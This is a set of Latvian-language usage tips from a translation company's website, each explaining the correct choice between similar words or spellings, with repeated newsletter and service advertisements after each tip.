Klasesbiedrus ar raženāku augumu nevajadzētu apbižot. Vai ‒ abižot? Ieskaties šeit un uzzini pareizo atbildi! Šis un citi valodas padomi! - Published: 2023-05-10 - Modified: 2024-10-28 - URL: https://skrivanek.lv/abizot-vai-apbizot/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ABIŽOT VAI APBIŽOT 1 Klasesbiedrus ar raženāku augumu nevajadzētu apbižot. Vai ‒ abižot? Abi vārdi sarunvalodā tiek lietoti samērā bieži. Bet vai šim vārdam ir kāds sakars ar bizēm? Un kurš ir pareizais variants? Lūkosim pēc padoma vārdnīcās. Vārds ‘apbižot’ ir sarunvalodas vārds, tas netiek uzskatīts par literārās latviešu valodas vārdu, vārds ‘abižot’ – ir žargonvārds. Rakstu darbos un sarunās, kurās literārai izteiksmei ir nozīme, nelietosim ne vienu, ne otru vārdu, bet izvēlēsimies vārdus ar tādu pašu nozīmi – darīt pāri, aizvainot, izzobot, izsmiet, aizskart, kaitēt. Sarunvalodā varam lietot abus vārdus, jo fonētiskā atšķirība turklāt izrunājot var būt nemanāma. Tomēr Skrivanek kā valodas bagātību un tradīciju uzturētājs iesaka lietot literārās valodas vārdus, piemēram: Klasesbiedrus ar raženāku augumu nevajadzētu izsmiet. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Nepieciešams dokumentārs vai dokumentāls pierādījums? Ieskaties un uzzini atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2023-05-10 - Modified: 2023-05-10 - URL: https://skrivanek.lv/dokumentals-vai-dokumentars/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DOKUMENTĀLS VAI DOKUMENTĀRS 1 Kamēr nebūšu redzējis dokumentāru kvalifikācijas pierādījumu, nevaru jūs pieņemt darbā par metinātāju! Vai varbūt dokumentālu pierādījumu? Kā pareizi? ‘Dokumentārs’ ir tāds, kas pamatots ar dokumentiem; tāds, ko apstiprina dokumenti. Šī īpašības vārda izcelsme ir no franču valodas vārda ‘documentaire’. Savukārt ‘dokumentāls’ (no krievu valodas ‘документальный’) ir tāds, kam ir dokumenta nozīme; tāds, kurā izmantoti dokumenti; saistīts ar dokumentu, tam raksturīgs. Piemēram: tika veikta dokumentāla revīzija – tika veiktas darbības, kas saistītas ar dokumentiem, revīzijā tika izmantoti dokumenti. Tātad teiksim: Kamēr nebūšu redzējis dokumentāru kvalifikācijas pierādījumu, nevaru jūs pieņemt darbā par metinātāju! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Es tik ļoti gribētu nokļūt Dubajā! Vai – Dubaijā? Kāds ir pareizais šīs pilsētas nosaukums? Ieskaties šeit un uzzini atbildi! - Published: 2023-05-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/dubaja-vai-dubaija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DUBAJA VAI DUBAIJA 1 Es tik ļoti gribētu nokļūt Dubajā! Vai – Dubaijā? Lai gan ierakstot tezaurs. lv meklētājā vārdu Dubaja, vārdnīca piedāvās arī šādu rakstības variantu, tomēr iesakām pievērst uzmanību, ka šis variants uzskatāms par novecojušu, bet mūsdienu literārās valodas normām atbilstošs un tātad pareizs būs variants – Dubaija. Līdzīgas kļūdas notiek arī ar otro lielāko Apvienoto Arābu Emirātu pilsētu – Abū Dabī. Tātad teiksim: Es tik ļoti gribētu nokļūt Dubaijā! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā ir pareizi? Rentgena, rengena vai rentgensa uzņēmums? Uzzini pareizo atbildi šeit. Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2023-05-10 - Modified: 2024-10-23 - URL: https://skrivanek.lv/rentgens-vai-rengens-vai-rentgenss/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional RENTGENS VAI RENGENS VAI RENTGENSS 1 Izrādās, ka rentgena izmeklējumi šobrīd pieejami tikai ar iepriekšēju pierakstu. Vai rengena? Vai varbūt rentgensa? Šādu izteikumu mēs lietosim vai dzirdēsim tikai sarunvalodā, rentgens šajā nozīmē būs ‘caurskate vai fotografēšana ar rentgenaparātu’, tāpat ‘rentgens’ sarunvalodā ir arī ‘rentgenaparāts’ vai ‘rentgenattēls’. Vārda ‘rentgens’ visas nozīmes un visi leksiskie varianti jāraksta ar burtu ‘t’ – šis vārds latviešu valodā (un ne tikai) ienācis no vācu fiziķa Rentgena (Roentgen) Vilhelma Konrāda (1845. –1923. ) uzvārda. Zinātnieks par rentgenstarojuma atklāšanu saņēma Nobela prēmiju. Šim gadījumam pamatojums ir tikpat vienkāršs kā 2x2 matemātikā – gluži vienkārši tas ir jāatceras. Rentgens vienmēr ar t. Tātad teiksim: Izrādās, ka rentgena izmeklējumi šobrīd pieejami tikai ar iepriekšēju pierakstu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Litlroka kļuva par Ārkanzasas vai Arkanzasas pavalsts administratīvo centru 1836. gadā? Šis un daudzi citi latviešu valodas padomi vienuviet. - Published: 2023-05-10 - Modified: 2024-08-21 - URL: https://skrivanek.lv/arkanzasa-vai-arkanzasa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ARKANZASA VAI ĀRKANZASA 1 Litlroka kļuva par Ārkanzasas pavalsts administratīvo centru 1836. gadā. Vai Arkanzasas pavalsts? Pavalsts nosaukums ir jauktas franču un indiāņu izcelsmes un nozīmē “dienvidu vēja ”. Vietējie šo vārdu izrunā , nevis , un savulaik esot pat bijis pretlikumīgi šo vietvārdu izrunāt nepareizi. Latviešu valodā izrunājot (un arī rakstot) šo vārdu ar garo Ā, mēs nepārkāpsim viņu to laiku likumus un ievērosim arī latviešu literārās pareizrakstības normas. Tātad teiksim: Litlroka kļuva par Ārkanzasas pavalsts administratīvo centru 1836. gadā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai Kārlim ir govs piens nepanesība vai nepanesamība? Uzzini pareizo atbildi! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-05-09 - Modified: 2025-03-19 - URL: https://skrivanek.lv/piena-nepanesiba-vai-piena-nepanesamiba/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIENA NEPANESĪBA VAI PIENA NEPANESAMĪBA 1 Kārlim bija govs piena nepanesība vai nepanesamība? Nepanesība ir stāvoklis, kad organisms negatīvi reaģē uz (kā) iedarbību. Kārļa gadījumā – viņa organisms negatīvi reaģē uz govs piena iedarbību. Savukārt vārdam ‘nepanesams’ var būt šādi skaidrojumi – (1) tāds, kas ir tik nepatīkams, ka tā klātbūtni, saskarsmi ar to ir grūti vai neiespējami paciest (piemēram, nepanesams cilvēks); (2) tāds, kura iedarbība ir tik nelabvēlīga, ka to grūti vai neiespējami paciest (piemēram, nepanesama tveice); (3) tāds, kas ir tik spēcīgs, ka to grūti vai neiespējami pārvarēt (par fizisku vai psihisku stāvokli) (piemēram, nepanesamas sāpes). Kārlim bija govs piena nepanesība, lai gan pirmdienu rītos viņam šķita, ka viņam ir arī jebkādas fiziskās slodzes nepanesamība — tik ļoti negribējās pēc brīvdienām doties uz agro treniņu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Pārsūdzētais administratīvais akts ir pirmšķietami vai pirmsšķietami prettiesisks? Ieskaties šeit un uzzini pareizo atbildi! - Published: 2023-05-09 - Modified: 2024-07-11 - URL: https://skrivanek.lv/pirmskietami-vai-pirmsskietami/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIRMŠĶIETAMI VAI PIRMSŠĶIETAMI 1 Pārsūdzētais administratīvais akts ir pirmšķietami vai pirmsšķietami prettiesisks? Vārds ir latīņu valodas vārdkopas ‘prima facie’ latviskojums un nozīmē ‘no pirmā acu skatiena, pirmajā acumirklī’. Prievārds ‘pirms’ savukārt norāda uz (1) laikaposmu, laika momentu, kas tuvojas, kad notiek kāda darbība, norise, eksistē kāds stāvoklis (2) vai darbību, norisi, stāvokli, kam vēl nesākoties, notiek cita darbība, norise, eksistē cits stāvoklis. Salikteņos ar vārdu ‘pirms’ pirmajā to daļā šis vārds norāda uz to, ka ‘kaut kas’ ir pirms šī ‘kaut kā’, bet nevis kā pirmais. Piemēram, ‘pirmsausmas’, ‘pirmsdiploma ’, ‘pirmsjāņu’ utt. Salikteņos ar vārda daļu ‘pirm-’ šī daļa nozīmē, ka šis salikteņa otrajā daļā apzīmētais ‘kaut kas’ ir pirmais, pirmo reizi, piemēram, pirmziemnieks, pirmkārt, pirmsencis, pirmreizēji utt. Arī vārds ‘pirmšķietami’ ir salikts vārds – ‘pirm-’ un ‘šķietami’, jo pirmajā acumirklī šķiet . Tātad teiksim, ka pārsūdzētais administratīvais akts ir pirmšķietami prettiesisks. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Estere savam korgijam deva ciltsrakstiem atbilstošu vārdu, turklāt arī viegli izrunājamu. Vai – pie tam viegli izrunājamu? - Published: 2023-05-09 - Modified: 2024-08-12 - URL: https://skrivanek.lv/pie-tam-pietam-bez-tam-vai-turklat/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PIE TAM, PIETAM, BEZ TAM VAI TURKLĀT 1 Estere savam korgijam deva ciltsrakstiem atbilstošu vārdu, turklāt arī viegli izrunājamu. Vai – pie tam viegli izrunājamu? Lai gan vārdnīcās atrodams gan ‘pie tam’, gan ‘bez tam’ ar skaidrojumu, ka šie vārdu savienojumi lietojami, pievienojot papildu informāciju iepriekš teiktajam, minētajam, tomēr sastopams arī viedoklis, ka šie vārdu savienojumi ir burtiski tulkojumi no krievu valodas ‘кроме того’; ‘к тому же’; ‘притом’; ‘вдобавок’, un tādēļ nebūtu vēlami. Angļu valodā tie būtu vārdi ‘besides’; ‘in addition’; ‘moreover’; furthermore’. Valodnieks Aldis Lauzis, atsaucoties uz J. Endzelīnu, uzskata, ka strīdīgie vārdu savienojumi var tikt lietoti, vienīgi atceroties, ka ‘pie tam’ nevajadzētu tulkot kā ‘при этом’. Nekādā gadījumā, protams, nav pieļaujama vārdu ‘pie’ un ‘tam’ rakstība kopā – ‘pietam’. Tātad varam lietot gan ‘pie tam’, gan ‘bez tam’, tomēr Skrivanek iesaka lietot ‘turklāt’. Estere savam korgijam deva ciltsrakstiem atbilstošu vārdu, turklāt arī viegli izrunājamu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vakardienas dzīres kaimiņiem beidzās ne tikai ar mantas zudību. Vai – zūdību? Ieskaties šeit un uzzini pareizo atbildi! - Published: 2023-05-09 - Modified: 2023-05-09 - URL: https://skrivanek.lv/zudiba-vai-zudiba/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZUDĪBA VAI ZŪDĪBA 1 Vakardienas dzīres kaimiņiem beidzās ne tikai ar mantas zudību. Vai – zūdību? Zudība ir stāvoklis, kad kaut kas ir zudis, pazudis. Savukārt vārdu ‘zūdība’ atradīsim vien J. Endzelīna papildinātajā K. Mīlenbaha Latviešu valodas vārdnīcā, šis vārds ir apvidvārds ar nozīmi ‘rūpes, raizes’, arī ‘pazust’. Un ‘zūdīgs’ būs tāds cilvēks, kurš ir norūpējies vai apbēdināts. Kā arī ‘zūdīgs’ var būt kas tāds, kas ilgstoši nepastāv, pāriet, izbeidzas. Tātad teiksim, ka vakardienas dzīres kaimiņiem beidzās ne tikai ar mantas zudību. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Francūži ir viena no romantiskākajām tautām pasaulē. Vai — franči? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi valodas padomi. - Published: 2023-05-09 - Modified: 2024-08-15 - URL: https://skrivanek.lv/franci-vai-francuzi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FRANČI VAI FRANCŪŽI 1 Francūži ir viena no romantiskākajām tautām pasaulē. Vai — franči? Franči ir tauta, Francijas pamatiedzīvotāji. Vienskaitlī — francūziete un francūzis. Mūsdienu literārās valodas vārdnīcā vārdam ‘francūži’ ir sniegts skaidrojums – šīs tautas (franču) pārstāvju kopums, piemēram, futbolā šoreiz pārāki bija francūži. Visticamāk, ka šis nošķīrums ieviests politkorektuma dēļ, jo Francijā dzīvo dažādu tautu pārstāvji. Valodnieks Aldis Lauzis iesaka lietot ‘franči’. Arī citās vārdnīcās nav vārda ‘francūži’. Lai atcerētos, varam izmantot tādu kā formulu: francūzis + francūziete = franči. Tātad teiksim, ka franči ir viena no romantiskākajām tautām pasaulē. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Patiesais labuma guvējs/patiesā labuma guvējs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2023-05-08 - Modified: 2024-07-11 - URL: https://skrivanek.lv/patiesais-labuma-guvejs-vai-patiesa-labuma-guvejs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PATIESAIS LABUMA GUVĒJS VAI PATIESĀ LABUMA GUVĒJS 1 Bankrotējušā uzņēmuma patiesais labuma guvējs izrādījās ārēji necilais kaimiņš Gundars. Vai – patiesā labuma guvējs? Patiesā labuma guvēja definīcija sniegta Noziedzīgi iegūtu līdzekļu legalizācijas un terorisma un proliferācijas finansēšanas novēršanas likuma (NILLTPFN likums) 1. panta 5. punktā (saite uz likumu: https://likumi. lv/ta/id/178987-noziedzigi-iegutu-lidzeklu-legalizacijas-un-terorisma-un-proliferacijas-finansesanas-noversanas-likums#p1). Vienkāršāk un īsāk sakot, patiesais labuma guvējs ir fiziska persona, kurai tieši vai netieši pieder, kura kontrolē vai arī kuras interesēs darbojas attiecīgā juridiskā persona vai juridiskais veidojums. Persona ir patiess, īsts guvējs, nevis labums ir patiess (īsts, reāls). Tātad teiksim: bankrotējušā uzņēmuma patiesais labuma guvējs izrādījās ārēji necilais kaimiņš Gundars. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Nule kā apsēdies, Pēteris jau sajutās kā apaļa nulle. 